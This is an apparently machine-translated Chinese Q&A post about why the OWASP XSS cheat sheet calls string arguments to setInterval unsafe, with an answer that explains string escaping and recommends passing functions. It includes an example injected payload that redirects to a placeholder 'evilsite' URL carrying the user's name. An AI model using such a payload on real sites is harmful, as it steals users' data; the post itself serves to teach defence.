为什么 setInterval 对 XSS 不安全？

Question

我正在处理OWASP Cross Site Scripting Prevent Cheat Sheet。在规则 #3 中它说：

请注意，有些 JavaScript 函数永远无法安全地使用不受信任的数据作为输入 - 即使 JAVASCRIPT ESCAPED！

<script>
window.setInterval('...EVEN IF YOU ESCAPE UNTRUSTED DATA YOU ARE XSSED HERE...');
</script>

---

澄清一下：

1. 我知道使用setInterval 等。 您的自己的内容是安全的。
2. 我知道必须验证、转义和/或清理外部内容。

---

我的理解是，第 3 条规则在某种程度上暗示，如果您使用 setInterval，攻击者可以绕过您能想到的任何 XSS 过滤器。

你有一个例子来说明它们的含义吗？使用setInterval 将永远无法避免哪种 XSS 攻击？

这里有一个类似的问题：.setinterval and XSS 不幸的是，答案对我没有帮助。

Answer 1

先介绍一下背景：

转义以防御 XSS 涉及添加适当的转义字符，这样流氓数据就不会从您放置的任何位置泄露出来并被评估为 JavaScript。

例如给定用户输入xss' + window.location = "http://evilsite/steal?username=" + encodeURLComponent(document.getElementById("user-widget").textContent) + '

如果您使用服务器端代码将其插入到字符串文字中：

const userinput = '<?php echo $_GET("userinput"); ?>'

你会得到：

const userinput = 'xss' + window.location = "http://evilsite/steal?username=" + encodeURLComponent(document.getElementById("user-widget").textContent) + ''`

然后' 会从 JS 中的字符串文字中分离出来，窃取用户名，并将其发送到攻击者的网站。 （比用户名更糟糕的事情可能会被盗。

转义旨在防止数据像这样从字符串文字中分离出来：

const userinput = 'xss\' + window.location = \"http://evilsite/steal?username=\" + encodeURLComponent(document.getElementById(\"user-widget\").textContent) + \''`

所以攻击代码只是成为字符串的一部分，而不是评估作为原始代码。

---

将字符串传递给setInterval（或setTimeout、new Function、eval 等）的问题在于它们是旨在评估代码的函数。

攻击者不需要突破字符串文字来执行他们的代码。它已经在发生了。

---

我的问题是关于为什么 setInterval 永远无法避免 XSS。

这不是你引用的警告所说的。它说它永远不能安全地使用不受信任的数据作为输入。如果您将自己的代码放在那里，那是非常安全的。当您评估某些用户输入时，您就会遇到问题。

无论如何，将字符串传递给setInterval 是个坏主意。调试难度大，速度相对较慢。

改为传递一个函数。你甚至可以安全地使用用户输入（因为它没有被评估为代码，它只是一个包含字符串的变量）。

const userinput = "properly escaped user input";

setInterval(() => {
    document.body.appendChild(
        document.createTextNode(userinput)
    );
}, 1000);